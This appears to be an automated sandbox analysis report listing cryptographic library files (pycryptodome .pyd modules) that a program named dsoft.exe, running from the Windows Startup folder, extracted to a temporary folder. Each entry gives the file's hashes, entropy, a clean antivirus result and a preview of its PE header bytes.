                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d....y.e.........." ...#.(... ......P.....................................................`..........................................I.......J..d....p.......`..................,....C...............................A..@............@...............................text....'.......(.................. ..`.rdata..8....@.......,..............@..@.data........P.......<..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc..,............D..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ofb.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):12288
                                                                                                                                                                                                                                        Entropy (8bit):4.737329240938157
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:BF/1nb2eqCQtkgU7L9D0T70fcqgYvEJPb:t2P6L9DWAxgYvEJj
                                                                                                                                                                                                                                        MD5:A13584F663393F382C6D8D5C0023BC80
                                                                                                                                                                                                                                        SHA1:D324D5FBD7A5DBA27AA9B0BDB5C2AEBFF17B55B1
                                                                                                                                                                                                                                        SHA-256:13C34A25D10C42C6A12D214B2D027E5DC4AE7253B83F21FD70A091FEDAC1E049
                                                                                                                                                                                                                                        SHA-512:14E4A6F2959BD68F441AA02A4E374740B1657AB1308783A34D588717F637611724BC90A73C80FC6B47BC48DAFB15CF2399DC7020515848F51072F29E4A8B4451
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#............P.....................................................`..........................................8.......9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_BLAKE2b.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):14848
                                                                                                                                                                                                                                        Entropy (8bit):5.2072665819239585
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:iF/1nb2eqCQtkhlgJ2ycxFzShJD9CAac2QDeJKcqgQx2XY:Y2PKr+2j8JDefJagQx2XY
                                                                                                                                                                                                                                        MD5:104B480CB83BFF78101CF6940588D570
                                                                                                                                                                                                                                        SHA1:6FC56B9CF380B508B01CAB342FCC939494D1F595
                                                                                                                                                                                                                                        SHA-256:BA4F23BBDD1167B5724C04DB116A1305C687001FAC43304CD5119C44C3BA6588
                                                                                                                                                                                                                                        SHA-512:60617865C67115AD070BD6462B346B89B69F834CAF2BFE0EF315FB4296B833E095CD03F3F4D6D9499245C5DA8785F2FBE1AC7427049BD48428EBF74529229040
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d...~y.e.........." ...#..... ......P.....................................................`..........................................9......|:..d....`.......P..@............p..,....3...............................2..@............0...............................text...X........................... ..`.rdata.......0....... ..............@..@.data...8....@.......0..............@....pdata..@....P.......2..............@..@.rsrc........`.......6..............@..@.reloc..,....p.......8..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_BLAKE2s.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):14336
                                                                                                                                                                                                                                        Entropy (8bit):5.177411248432731
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:mF/1nb2eqCQt7fSxp/CJPvADQZntxSOvbcqgEvcM+:c2PNKxZWPIDexVlgEvL
                                                                                                                                                                                                                                        MD5:06D3E941860BB0ABEDF1BAF1385D9445
                                                                                                                                                                                                                                        SHA1:E8C16C3E8956BA99A2D0DE860DCFC5021F1D7DE5
                                                                                                                                                                                                                                        SHA-256:1C340D2625DAD4F07B88BB04A81D5002AABF429561C92399B0EB8F6A72432325
                                                                                                                                                                                                                                        SHA-512:6F62ACFF39B77C1EC9F161A9BFA94F8E3B932D56E63DAEE0093C041543993B13422E12E29C8231D88BC85C0573AD9077C56AA7F7A307E27F269DA17FBA8EE5A3
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#..... ......P.....................................................`.........................................09.......9..d....`.......P..@............p..,....3...............................2..@............0...............................text...8........................... ..`.rdata..4....0......................@..@.data...8....@......................@....pdata..@....P.......0..............@..@.rsrc........`.......4..............@..@.reloc..,....p.......6..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_MD2.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):14336
                                                                                                                                                                                                                                        Entropy (8bit):5.137579183601755
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:5siHfq5po0ZUp8XnUp8XjEQnlDtW26rcqgcx2:nqDZUp8XUp8AclDN69gcx2
                                                                                                                                                                                                                                        MD5:F938A89AEC5F535AF25BD92221BBC141
                                                                                                                                                                                                                                        SHA1:384E1E92EBF1A6BBE068AB1493A26B50EFE43A7E
                                                                                                                                                                                                                                        SHA-256:774A39E65CC2D122F8D4EB314CED60848AFFF964FB5AD2627E32CB10EF28A6D0
                                                                                                                                                                                                                                        SHA-512:ED0506B9EBCEC26868F484464F9CC38E28F8056D6E55C536ECD2FD98F58F29F2D1CE96C5E574876A9AA6FD22D3756A49BC3EB464A7845CB3F28A1F3D1C98B4D7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...qy.e.........." ...#..... ......P.....................................................`..........................................9......0:..d....`.......P..(............p..,....4...............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...h....@......................@....pdata..(....P.......0..............@..@.rsrc........`.......4..............@..@.reloc..,....p.......6..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_MD4.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):13824
                                                                                                                                                                                                                                        Entropy (8bit):5.158343521612926
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:jsiHfq5pwUivkwXap8T0NchH73s47iDJxj2wcqgfvE:9qbi8wap8T0Ncp7n7iDbFgfvE
                                                                                                                                                                                                                                        MD5:173EED515A1ADDD1DA0179DD2621F137
                                                                                                                                                                                                                                        SHA1:D02F5E6EDA9FF08ABB4E88C8202BAD7DB926258F
                                                                                                                                                                                                                                        SHA-256:9D9574A71EB0DE0D14570B5EDA06C15C17CC2E989A20D1E8A4821CB813290D5F
                                                                                                                                                                                                                                        SHA-512:8926FBB78A00FD4DC67670670035D9E601AF27CDBE003DC45AD809E8DA1042DDECB997F44ED104BEC13391C8048051B0AAD0C10FDEEDFB7F858BA177E92FDC54
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...qy.e.........." ...#............P.....................................................`.........................................p8...... 9..d....`.......P..(............p..,...@3...............................2..@............0...............................text............................... ..`.rdata..p....0......................@..@.data...p....@.......,..............@....pdata..(....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_MD5.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):15360
                                                                                                                                                                                                                                        Entropy (8bit):5.469810464531962
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:RZ9WfqP7M93g8UdsoS1hhiBvzcuiDSjeoGmDZNbRBP0rcqgjPrvE:sA0gHdzS1MwuiDSyoGmD/r89gjPrvE
                                                                                                                                                                                                                                        MD5:39B06A1707FF5FDC5B3170EB744D596D
                                                                                                                                                                                                                                        SHA1:37307B2826607EA8D5029293990EB1476AD6CC42
                                                                                                                                                                                                                                        SHA-256:2E8BB88D768890B6B68D5B6BB86820766ADA22B82F99F31C659F4C11DEF211A1
                                                                                                                                                                                                                                        SHA-512:98C3C45EB8089800EDF99ACEA0810820099BFD6D2C805B80E35D9239626CB67C7599F1D93D2A14D2F3847D435EAA065BF56DF726606BB5E8A96E527E1420633D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...ry.e.........." ...#. ..........P.....................................................`..........................................8.......9..d....`.......P..X............p..,....3...............................1..@............0...............................text............ .................. ..`.rdata.......0.......$..............@..@.data........@.......2..............@....pdata..X....P.......4..............@..@.rsrc........`.......8..............@..@.reloc..,....p.......:..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_RIPEMD160.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):13824
                                                                                                                                                                                                                                        Entropy (8bit):5.137646874307781
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:QF/1nb2eqCQtZl9k9VEmosHcBZTHGF31trDbu8oiZmtwcqgk+9TI:q2PXlG9VDos8BZA33rDbuNgk0gk+9U
                                                                                                                                                                                                                                        MD5:1DFC771325DD625DE5A72E0949D90E5F
                                                                                                                                                                                                                                        SHA1:8E1F39AAFD403EDA1E5CD39D5496B9FAA3387B52
                                                                                                                                                                                                                                        SHA-256:13F9ADBBD60D7D80ACEE80D8FFB461D7665C5744F8FF917D06893AA6A4E25E3A
                                                                                                                                                                                                                                        SHA-512:B678FB4AD6DF5F8465A80BFB9A2B0433CF6CFAD4C6A69EEBF951F3C4018FD09CB7F38B752BE5AB55C4BE6C88722F70521D22CBCBBB47F8C46DDB0B1ACBFD7D7E
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d...}y.e.........." ...#..... ......P.....................................................`..........................................9.......:..d....`.......P...............p..,....4..............................P3..@............0...............................text...X........................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata.......P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA1.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):17920
                                                                                                                                                                                                                                        Entropy (8bit):5.687377356938656
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:bPHdP3MjeQTh+QAZUUw8lMF6D+1tgj+kf4:xPcKQT3iw8lfDUej+
                                                                                                                                                                                                                                        MD5:9D15862569E033C5AA702F9E4041C928
                                                                                                                                                                                                                                        SHA1:11376E8CB76AD2D9A7D48D11F4A74FB12B78BCF6
                                                                                                                                                                                                                                        SHA-256:8970DF77D2F73350360DBE68F937E0523689FF3D7C0BE95EB7CA5820701F1493
                                                                                                                                                                                                                                        SHA-512:322F0F4947C9D5D2800DEEBFD198EABE730D44209C1B61BB9FD0F7F9ED5F719AE49F8397F7920BDB368BB386A598E9B215502DC46FBE72F9340876CF40AFFC8A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...sy.e.........." ...#.*..........P.....................................................`..........................................H.......I..d....p.......`..X...............,....C...............................A..@............@...............................text....).......*.................. ..`.rdata.......@......................@..@.data........P.......<..............@....pdata..X....`.......>..............@..@.rsrc........p.......B..............@..@.reloc..,............D..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA224.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):21504
                                                                                                                                                                                                                                        Entropy (8bit):5.9200472722347675
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:pljwGpJpvrp/LTaqvYHp5RYcARQOj4MSTjqgPmJDcOwwgjxo:Ljw4JbZYtswvqDc51j
                                                                                                                                                                                                                                        MD5:7398EFD589FBE4FEFADE15B52632CD5C
                                                                                                                                                                                                                                        SHA1:5EA575056718D3EC9F57D3CFF4DF87D77D410A4B
                                                                                                                                                                                                                                        SHA-256:F1970DB1DA66EFB4CD8E065C40C888EED795685FF4E5A6FA58CA56A840FE5B80
                                                                                                                                                                                                                                        SHA-512:C26F6FF693782C84460535EBCD35F23AA3C95FB8C0C8A608FB9A849B0EFD735EF45125397549C61248AE06BD068554D2DE05F9A3BA64F363438EDB92DA59481B
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...wy.e.........." ...#.6... ......P.....................................................`..........................................Z.......[..d............p..................,... T...............................R..@............P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data........`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..,............R..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA256.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):21504
                                                                                                                                                                                                                                        Entropy (8bit):5.922439979230845
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:jljwGpJpvrp/LtaqvYHp5RYcARQOj4MSTjqgPmJDcbegjxo:hjw4JVZYtswvqDcb7j
                                                                                                                                                                                                                                        MD5:352F56E35D58ABE96D6F5DBBD40D1FEA
                                                                                                                                                                                                                                        SHA1:5F0C9596B84B8A54D855441C6253303D0C81AA1B
                                                                                                                                                                                                                                        SHA-256:44EED167431151E53A8F119466036F1D60773DDEB8350AF972C82B3789D5D397
                                                                                                                                                                                                                                        SHA-512:CB4862B62ABB780656F1A06DADD3F80AEA453E226C38EFAE4318812928A7B0B6A3A8A86FCC43F65354B84FC07C7235FF384B75C2244553052E00DC85699D422A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...uy.e.........." ...#.6... ......P.....................................................`..........................................Z.......[..d............p..................,... T...............................R..@............P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data........`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..,............R..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA384.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):26624
                                                                                                                                                                                                                                        Entropy (8bit):5.879121462749493
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:pDLZ9BjjBui0gel9soFdkO66MlPGXmXcnRDbRj:VBfu/FZ6nPxMRDtj
                                                                                                                                                                                                                                        MD5:3C47F387A68629C11C871514962342C1
                                                                                                                                                                                                                                        SHA1:EA3E508A8FB2D3816C80CD54CDD9C8254809DB00
                                                                                                                                                                                                                                        SHA-256:EA8A361B060EB648C987ECAF453AE25034DBEA3D760DC0805B705AC9AA1C7DD9
                                                                                                                                                                                                                                        SHA-512:5C824E4C0E2AB13923DC8330D920DCD890A9B33331D97996BC1C3B73973DF7324FFFB6E940FA5AA92D6B23A0E6971532F3DB4BF899A9DF33CC0DD6CB1AC959DD
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...zy.e.........." ...#.H..."......P.....................................................`......................................... l.......m..d...............................,....e...............................d..@............`...............................text...HG.......H.................. ..`.rdata..X....`.......L..............@..@.data................^..............@....pdata...............`..............@..@.rsrc................d..............@..@.reloc..,............f..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA512.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):26624
                                                                                                                                                                                                                                        Entropy (8bit):5.937696428849242
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:VYL59Ugjaui0gel9soFdkO66MlPGXmXcXVDuSFAj:60xu/FZ6nPxMlD7Kj
                                                                                                                                                                                                                                        MD5:2F44F1B760EE24C89C13D9E8A06EA124
                                                                                                                                                                                                                                        SHA1:CF8E16D8324A7823B11474211BD7B95ADB321448
                                                                                                                                                                                                                                        SHA-256:7C7B6F59DD250BD0F8CBC5AF5BB2DB9F9E1A2A56BE6442464576CD578F0B2AE0
                                                                                                                                                                                                                                        SHA-512:2AACB2BB6A9EBA89549BF864DDA56A71F3B3FFEDB8F2B7EF3FC552AB3D42BC4B832F5FA0BA87C59F0F899EA9716872198680275A70F3C973D44CA7711DB44A14
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<Y..R...R...R......R.i.S...R...S...R...S...R.i.W...R.i.V...R.i.Q...R...Z...R...R...R.......R...P...R.Rich..R.................PE..d...|y.e.........." ...#.H..."......P.....................................................`..........................................l.......m..d...............................,...@f...............................e..@............`...............................text....G.......H.................. ..`.rdata.......`.......L..............@..@.data................^..............@....pdata...............`..............@..@.rsrc................d..............@..@.reloc..,............f..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_ghash_clmul.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):12800
                                                                                                                                                                                                                                        Entropy (8bit):5.027823764756571
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:/RF/1nb2eqCQtkbsAT2fixSrdYDt8ymjcqgQvEW:/d2P6bsK4H+DVwgQvEW
                                                                                                                                                                                                                                        MD5:64604EE3AEBEE62168F837A41BA61DB1
                                                                                                                                                                                                                                        SHA1:4D3FF7AC183BC28B89117240ED1F6D7A7D10AEF1
                                                                                                                                                                                                                                        SHA-256:20C3CC2F50B51397ACDCD461EE24F0326982F2DC0E0A1A71F0FBB2CF973BBEB2
                                                                                                                                                                                                                                        SHA-512:D03EEFF438AFB57E8B921CE080772DF485644DED1074F3D0AC12D3EBB1D6916BD6282E0E971408E89127FF1DAD1D0CB1D214D7B549D686193068DEA137A250CE
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........."...L...L...L......L.q.M...L..M...L...M...L.q.I...L.q.H...L.q.O...L...D...L...L...L.......L...N...L.Rich..L.........PE..d....y.e.........." ...#............P.....................................................`..........................................8......89..d....`.......P...............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......(..............@....pdata.......P.......*..............@..@.rsrc........`......................@..@.reloc..,....p.......0..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_ghash_portable.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):13312
                                                                                                                                                                                                                                        Entropy (8bit):5.020783935465456
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:+F/1nb2eqCQtks0iiNqdF4mtPjD0ZA5LPYcqgYvEL2x:02P6fFA/4GjDXcgYvEL2x
                                                                                                                                                                                                                                        MD5:E0EEDBAE588EE4EA1B3B3A59D2ED715A
                                                                                                                                                                                                                                        SHA1:4629B04E585899A7DCB4298138891A98C7F93D0B
                                                                                                                                                                                                                                        SHA-256:F507859F15A1E06A0F21E2A7B060D78491A9219A6A499472AA84176797F9DB02
                                                                                                                                                                                                                                        SHA-512:9FD82784C7E06F00257D387F96E732CE4A4BD065F9EC5B023265396D58051BECC2D129ABDE24D05276D5CD8447B7DED394A02C7B71035CED27CBF094ED82547D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#............P.....................................................`..........................................8......h9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......*..............@....pdata..X....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..,....p.......2..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_keccak.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):15872
                                                                                                                                                                                                                                        Entropy (8bit):5.2616188776014665
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:JP2T9FRjRskTdf4YBU7YP5yUYDE1give:qHlRl57IC8UYDEG
                                                                                                                                                                                                                                        MD5:1708C4D1B28C303DA19480AF3C6D04FF
                                                                                                                                                                                                                                        SHA1:BAC78207EFAA6D838A8684117E76FB871BD423D5
                                                                                                                                                                                                                                        SHA-256:C90FB9F28AD4E7DEED774597B12AA7785F01DC4458076BE514930BF7AB0D15EC
                                                                                                                                                                                                                                        SHA-512:2A174C1CB712E8B394CBEE20C33974AA277E09631701C80864B8935680F8A4570FD040EA6F59AD71631D421183B329B85C749F0977AEB9DE339DFABE7C23762E
